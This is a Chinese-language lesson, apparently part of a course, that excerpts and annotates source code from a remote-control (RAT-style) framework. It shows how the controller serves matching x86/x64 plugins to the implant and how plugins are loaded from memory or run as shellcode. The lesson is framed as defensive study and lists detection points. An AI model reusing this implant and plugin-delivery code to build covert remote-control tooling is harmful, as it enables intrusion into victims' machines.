17 / 52 插件与被控运行机制

第 17 课:x86/x64 双产物与 DLL 使用

# 第 17 课:x86/x64 双产物与 DLL 使用

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、双架构产物和 DLL 使用方式理解。
本课只讲源码如何区分 x86/x64、如何选择插件产物、DLL 如何被使用,不提供未授权使用步骤。

第 16 课讲了 EXE/DLL 如何基于模板生成。本课继续讲两个问题:为什么同一功能要同时准备 x86 和 x64 产物,以及 DLL 在这套工程里如何被主控和插件加载链使用。

# 1. 本课学习目标

问题 本课回答
为什么要区分 x86/x64 进程位数、指针宽度、PE Machine、调用约定和依赖库不同
产物放在哪里 Plugins\x86Plugins\x64
主控如何选择 根据被控上报的位数和请求中的 bIsX64
DLL 怎么用 Debug 可 LoadLibrary,Release 常进入内存加载链
WoW64 有什么误区 32 位进程在 64 位系统上不等于可以直接加载 64 位 DLL

# 2. 双产物目录:同名能力要准备两套

2. 双产物目录:同名能力要准备两套(配图)

主控初始化时会释放或读取两套插件数据。每个插件通常都有 x86 和 x64 版本。原因不是“文件名好看”,而是 Windows 进程加载 DLL 时要求架构匹配:32 位进程只能直接加载 32 位 DLL,64 位进程只能直接加载 64 位 DLL。

// 源码位置:主控\Quick\MainFrm.cpp:1538-1642
// 防御分析注释:
// 1. iswin64 为 true 时写入 Plugins\x64,否则写入 Plugins\x86。
// 2. FindResource / LoadResource / LockResource 说明插件数据来自主控资源。
// 3. m_PluginsDate_x86 / m_PluginsDate_x64 是主控运行期的两套插件索引。
// 4. MD5 被保存为 Version,后续用于版本协商。
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path,
    TCHAR* lp_filename, int lpszType, TCHAR* lpresname,
    bool bwrite, bool buildshellcode, char* param)
{
    CString str = lp_path;
    iswin64 ? str += _T("\\Plugins\\x64\\") : str += _T("\\Plugins\\x86\\");
    str += lp_filename;

    HRSRC hResource = FindResource(GetModuleHandle(NULL),
        MAKEINTRESOURCE(lpszType), lpresname);
    HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource);
    char* pBuffer = (char*)LockResource(hg);
    DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hResource);

    p_PluginsInfo->filedate = (BYTE*)pBuffer;
    p_PluginsInfo->filesize = dwSize;

    string s_tmp = MD5((void*)pBuffer, dwSize).toString();
    int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0);
    MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);

    iswin64
        ? m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo))
        : m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

这里有一个常见误区:Plugins\x64 不是“64 位系统目录”,而是“64 位进程可加载的插件目录”。在 64 位 Windows 上运行 32 位进程时,仍然要使用 x86 插件。

# 3. 主控启动时如何建立两套索引

// 源码位置:主控\Quick\MainFrm.cpp:1624-1642
// 防御分析注释:
// 1. g_pluginsDatas_32 是 32 位插件资源数组。
// 2. g_pluginsDates_64 是 64 位插件资源数组,命名上和 32 位数组略不一致,阅读时不要混淆。
// 3. 两个循环分别调用 WriteResource(false/true),最终进入不同插件索引。
// 4. buildshellcode 为 true 的插件还会生成 _bin 形态,和第 14、18 课衔接。
void CMainFrame::WriteAndReadPlugins()
{
    TCHAR szSelfPath[MAX_PATH];
    ::GetModuleFileName(NULL, szSelfPath, ARRAYSIZE(szSelfPath));
    CString strPath = szSelfPath;
    strPath = strPath.Mid(0, strPath.ReverseFind('\\'));

    for (int i = 0; i < sizeof(g_pluginsDatas_32) / sizeof(PLUGINS); i++)
    {
        WriteResource(false, strPath.GetBuffer(),
            g_pluginsDatas_32[i].DllPath,
            g_pluginsDatas_32[i].RType,
            _T("PLUGINS"),
            true,
            g_pluginsDatas_32[i].buildshellcode,
            g_pluginsDatas_32[i].param);
    }

    for (int i = 0; i < sizeof(g_pluginsDates_64) / sizeof(PLUGINS); i++)
    {
        WriteResource(true, strPath.GetBuffer(),
            g_pluginsDates_64[i].DllPath,
            g_pluginsDates_64[i].RType,
            _T("PLUGINS64"),
            true,
            g_pluginsDates_64[i].buildshellcode,
            g_pluginsDates_64[i].param);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

这一节要和第 16 课连起来看:生成器读取的 上线模块.bin / 上线模块.dll 也来自这些释放后的模板目录;后续插件下发也依赖同一套 x86/x64 索引。

# 4. 第一条位数链:上线模块请求登录模块版本

4. 第一条位数链:上线模块请求登录模块版本(配图)

上线模块连接主控后,先请求登录模块版本。这个请求很短,只有两个字节:第一个字节是 TOKEN_GETVERSION,第二个字节表示当前进程是不是 x64。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:245-254
// 防御分析注释:
// 1. TOKEN_GETVERSION 用于请求登录模块或插件版本。
// 2. Token[1] 在 x64 编译时写 1,在 x86 编译时写 0。
// 3. 这里反映的是“当前上线模块进程位数”,不能简单等同于操作系统位数。
// 4. 主控据此选择 m_PluginsDate_x64 或 m_PluginsDate_x86 中的登录模块版本。
BYTE Token[2] = { 0 };
Token[0] = TOKEN_GETVERSION;

#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif

socketClient->Send(Token, sizeof(Token));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

主控侧收到后,会按第二个字节选择插件索引。

// 源码位置:主控\Quick\MainFrm.cpp:2343-2365
// 防御分析注释:
// 1. m_DeCompressionBuffer.GetBuffer(0)[1] 对应上线模块发来的 Token[1]。
// 2. 0 表示选择 m_PluginsDate_x86,非 0 表示选择 m_PluginsDate_x64。
// 3. 这里返回的是“登录模块.dll_bin”的版本,不直接返回完整插件数据。
// 4. 如果版本不同,后续会进入插件数据请求链。
void CMainFrame::OnOpenSendVersion(ClientContext* pContext)
{
    PluginsDate* p_PluginsDate;
    if (pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == 0)
        p_PluginsDate = &(m_PluginsDate_x86);
    else
        p_PluginsDate = &(m_PluginsDate_x64);

    PluginsDate::iterator it_PluginsDate =
        p_PluginsDate->find(_T("登录模块.dll_bin"));

    if (it_PluginsDate != p_PluginsDate->end())
    {
        BYTE* bPacket = new BYTE[101];
        bPacket[0] = TOKEN_GETVERSION;
        memcpy(bPacket + 1, it_PluginsDate->second->Version, 100);
        g_pSocketBase->Send(pContext, bPacket, 101);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 5. 第二条位数链:登录模块请求具体插件

登录模块运行后,请求具体功能插件时使用 DllSendData。这时位数字段不再是 Token[1],而是结构体里的 bIsX64

// 源码位置:主插件\登录模块\登录模块\LoginManager.h:58-67
// 防御分析注释:
// 1. szDllName 表示请求哪个插件。
// 2. bIsX64 是插件请求阶段的架构字段。
// 3. dllDataSize 和 szVersion 会在主控返回数据时被填充。
// 4. 这个结构体在网络上传输,企业侧可把它作为协议解析和检测建模对象。
struct DllSendData
{
    SendTaskType    sendTaskType;
    TCHAR           szDllName[255];  // 插件名,例如 登录模块.dll_bin 或某个功能 DLL。
    BOOL            bIsX64;          // 当前请求方需要的插件架构。
    int             dllDataSize;     // 主控返回插件数据时填写。
    TCHAR           szVersion[50];   // 插件版本,通常来自 MD5。
    TCHAR           szcommand[1000]; // 可选命令参数。
    int             i;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:242-310
// 防御分析注释:
// 1. COMMAND_DLLMAIN 表示登录模块准备请求或加载某个插件。
// 2. pDllSendData 从网络包中解析出来,随后按当前编译架构补 bIsX64。
// 3. _WIN64 决定 bIsX64=1,否则 bIsX64=0。
// 4. 这一步会把“当前进程位数”传回主控,主控据此下发匹配插件。
case COMMAND_DLLMAIN:
{
    DllSendData* pDllSendData = new DllSendData;
    ZeroMemory(pDllSendData, sizeof(DllSendData));
    ::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));

    LPBYTE lpBuffer = new BYTE[sizeof(DllSendData) + 1];
    lpBuffer[0] = TOKEN_SENDLL;

#ifdef _WIN64
    pDllSendData->bIsX64 = 1;
#else
    pDllSendData->bIsX64 = 0;
#endif

    ::memcpy(lpBuffer + 1, pDllSendData, sizeof(DllSendData));
    Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 6. 主控按 bIsX64 返回插件

// 源码位置:主控\Quick\MainFrm.cpp:2368-2440
// 防御分析注释:
// 1. pDllSendData->bIsX64 决定插件表。
// 2. TASK_MAIN 从主控内置插件索引 m_PluginsDate_x86/x64 取数据。
// 3. TASK_PLUG 从扩展插件视图 g_pCPlugView->m_PlugsDatex86/x64 取数据。
// 4. 返回包格式是 COMMAND_SENDLL + DllSendData + 插件字节。
void CMainFrame::OnOpenSendDll(ClientContext* pContext)
{
    DllSendData* pDllSendData =
        (DllSendData*)pContext->m_DeCompressionBuffer.GetBuffer(1);

    CString strFileName = pDllSendData->szDllName;

    switch (pDllSendData->sendTaskType)
    {
    case TASK_MAIN:
    {
        PluginsDate* p_PluginsDate;
        if (pDllSendData->bIsX64)
            p_PluginsDate = &(m_PluginsDate_x64);
        else
            p_PluginsDate = &(m_PluginsDate_x86);

        PluginsDate::iterator it = p_PluginsDate->find(strFileName);
        if (it != p_PluginsDate->end())
        {
            pDllSendData->dllDataSize = it->second->filesize;
            memcpy(pDllSendData->szVersion, it->second->Version, 100);
            // 后续发送 COMMAND_SENDLL + DllSendData + 插件数据。
        }
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 7. DLL 的三种使用方式

7. DLL 的三种使用方式(配图)

场景 方式 说明
调试功能插件 LoadLibrary + GetProcAddress 方便开发者断点调试
发布加载插件 MemoryLoadLibrary + MemoryGetProcAddress 输入来自内存中的插件字节
生成 DLL 产物 导出 load / run 等函数 供外部加载者传入配置并启动

普通功能插件的加载逻辑在登录模块中。Debug 下为了方便断点调试,会走磁盘 DLL;Release 下通常走内存加载。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:20-44
// 防御分析注释:
// 1. DLL_MEMLOAD 表示普通内存加载插件。
// 2. _DEBUG 分支使用 LoadLibrary 加载本地 DLL,便于开发者调试。
// 3. Release 分支使用 MemoryLoadLibrary 加载内存中的插件字节,第 14 课已讲 PE 内存加载原理。
// 4. 两个分支最终都查找导出函数 Main,说明功能插件入口约定一致。
case DLL_MEMLOAD:
{
#ifdef _DEBUG
    HMODULE hDllModule = ::LoadLibrary(pDllData->m_sendDllData->szDllName);
    lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main");
#else
    HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
        pDllData->m_pDllData,
        pDllData->m_sendDllData->dllDataSize);
    lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
#endif

    if (lpproc != NULL)
    {
        (*lpproc)(pDllData->m_strMasterHost,
                  pDllData->m_nMasterPort,
                  pDllData->m_bIsTcp,
                  false);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

登录模块本身还有一条特殊加载链,位于上线模块的 KernelManager.cpp。Debug 下把 登录模块.dll_bin 转成 登录模块.dll 后用 LoadLibrary;Release 下把内存里的 shellcode 入口当函数调用。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:61-95
// 防御分析注释:
// 1. 这里处理的是登录模块,不是普通功能插件。
// 2. Debug 分支把 xxx.dll_bin 改成 xxx.dll,再从磁盘加载。
// 3. Release 分支使用 shellcode 方式调用内存中的登录模块数据。
// 4. 防御侧要同时关注磁盘加载和内存执行两条路径。
#ifdef _DEBUG
wchar_t szLocalDllName[MAX_PATH] = { 0 };
wcscpy_s(szLocalDllName, ARRAYSIZE(szLocalDllName), g_dllSendData.DllName);
::PathRemoveExtension(szLocalDllName);
wcscat_s(szLocalDllName, ARRAYSIZE(szLocalDllName), L".dll");

HMODULE hDllModule = ::LoadLibrary(szLocalDllName);
FARPROC runFunc = ::GetProcAddress(hDllModule, "run");
if (runFunc != NULL)
    runFunc();
#else
load lpproc = ((load(*)())g_loginDllData)();
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 8. x86 / x64 差异对照

维度 x86 x64 对阅读源码的影响
指针宽度 4 字节 8 字节 结构体大小、函数指针、PE 头字段都可能不同
PE Machine IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_AMD64 架构不匹配时 DLL 无法直接加载
插件目录 Plugins\x86 Plugins\x64 主控根据位数字段选择插件表
版本请求字段 Token[1] = 0 Token[1] = 1 上线模块请求登录模块版本时使用
插件请求字段 bIsX64 = 0 bIsX64 = 1 登录模块请求功能插件时使用
调试现象 32 位进程路径可能带 WoW64 重定向 64 位进程访问原生系统目录 不能只按系统目录判断进程架构

# 9. WoW64 场景下容易误判的地方

误判 正确理解
64 位系统上一定加载 x64 插件 要看当前被控进程位数,不只看系统位数
x86 进程可以直接加载 x64 DLL 不能直接加载,PE Machine 不匹配
文件名一样就是同一插件 还要看架构、版本、哈希
LoadLibrary 看不到就没有 DLL Release 可能走内存加载路径
只看 Token[1] 就够了 版本请求看 Token[1],具体插件请求还要看 DllSendData.bIsX64

# 10. 企业检测点

层面 检测点 说明
文件 Plugins\x86Plugins\x64 插件资源释放和版本缓存
协议 TOKEN_GETVERSIONToken[1]DllSendData.bIsX64 架构协商字段
内存 MemoryLoadLibrary 发布模式下的插件加载路径
调试 LoadLibrary 本地 DLL Debug 分支的可见模块加载
构建 x86/x64 输出产物 哈希、签名、编译配置要入库

# 11. 合法练习题

  1. 只阅读源码,画出“被控上报位数 -> 主控选择插件表 -> 返回插件数据”的流程。
  2. 解释为什么 32 位进程不能直接加载 64 位 DLL。
  3. 设计一个插件版本台账字段表,包含插件名、架构、版本、哈希、签名和来源。
  4. 对比 Token[1]DllSendData.bIsX64,说明它们分别出现在什么请求阶段。

# 12. 本课小结

本课讲清楚了双产物和 DLL 使用方式:主控维护 x86/x64 两套插件,被控通过 TOKEN_GETVERSION 的第二字节和 DllSendData.bIsX64 告知当前进程位数,主控返回匹配架构的插件。DLL 在调试、发布和生成场景下有不同加载方式,其中发布模式下的内存加载细节已经在第 14 课单独展开。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>